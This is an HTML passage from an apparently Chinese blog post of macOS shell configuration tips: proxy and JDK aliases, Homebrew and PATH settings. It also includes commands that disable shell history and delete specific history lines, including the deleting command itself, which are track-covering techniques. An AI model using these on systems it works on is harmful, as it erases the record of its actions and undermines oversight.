204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">export</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> HISTFILE</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/dev/</span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">null</span></p></span></span></p></li></ol></pre><p style="margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">高级</p><pre style="padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);letter-spacing: normal;text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-1" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">export</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> HISTFILE</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/dev/</span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">null</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">export</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> HISTSIZE</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">0</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">export</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> HISTFILESIZE</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">0</span></p></span></span></p></li></ol></pre><h3 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(15 23 42/var(--tw-bg-opacity));line-height: 1.35;font-size: 18px;">清除指定行历史命令</h3><p style="margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">清除540行到566行。</p><pre style="padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);letter-spacing: normal;text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-1" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">for</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> h </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">in</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> $</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">seq </span><span style="color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">540</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">566</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">|</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> tac</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">);</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">do</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> history </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">d $h</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">done</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> history </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">d $</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">history </span><span style="color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">1</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">|</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> awk </span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;{print $1}&#39;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></p></span></span></p></li></ol></pre><h3 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(15 23 42/var(--tw-bg-opacity));line-height: 1.35;font-size: 18px;">代理切换</h3><p style="margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">alias(别名) 非常实用</p><pre style="padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);letter-spacing: normal;text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-1" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">alias</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> proxy</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;export ALL_PROXY=<a href="http://127.0.0.1:8080" target="_blank">http://127.0.0.1:8080</a>&#34;</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">alias</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> noproxy</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;export https_proxy= http_proxy= all_proxy=&#34;</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">alias</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> ips</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;export all_proxy=\&#34;socks5://xxxx:xxxx@proxypool:80\&#34;&#34;</span></p></span></span></p></li></ol></pre><p style="margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">替换jenv:</p><pre style="padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);letter-spacing: normal;text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-2" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">alias</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> jdk6</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;export JAVA_HOME=/Library/Java/JavaVirtualMachines/1.6.0.jdk/Contents/Home&#34;</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">alias</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> jdk7</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home&#34;</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">alias</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> jdk8</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.8.0_151.jdk/Contents/Home&#34;</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">alias</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> jdk9</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk-9.0.4.jdk/Contents/Home&#34;</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">alias</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> jdk10</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk-10.0.2.jdk/Contents/Home&#34;</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">alias</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> jdk11</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk-11.0.1.jdk/Contents/Home&#34;</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">alias</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> jdk12</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk-12.0.1.jdk/Contents/Home&#34;</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">alias</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> jdk13</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk-13.jdk/Contents/Home&#34;</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">alias</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> jdk14</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk-14.0.1.jdk/Contents/Home&#34;</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">alias</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> jdk15</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk-15.jdk/Contents/Home&#34;</span></p></span></span></p></li></ol></pre><h3 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(15 23 42/var(--tw-bg-opacity));line-height: 1.35;font-size: 18px;">禁止HOMEBREW自动更新</h3><p style="margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">避免brew安装/更新程序是自动更新其他程序</p><pre style="padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);letter-spacing: normal;text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-1" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">export</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> HOMEBREW_NO_AUTO_UPDATE</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">true</span></p></span></span></p></li></ol></pre><h3 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(15 23 42/var(--tw-bg-opacity));line-height: 1.35;font-size: 18px;">二进制程序统一管理</h3><p style="margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">所有编译好的工具可以统一丢到这目录，无需在alias去链接程序绝对路径，同样也可以配置iCloud自动同步。</p><pre style="padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);letter-spacing: normal;text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-1" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">export</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> PATH</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">$PATH</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/Users/</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">$HOME</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">tools</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">bintools</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span></p></span></span></p></li></ol></pre><h3 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(15 23 42/var(--tw-bg-opacity));line-height: 1.35;font-size: 18px;">当前IP查看</h3><p style="margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">内外网ip</p><pre style="padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);letter-spacing: normal;text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-1" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">ip</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit 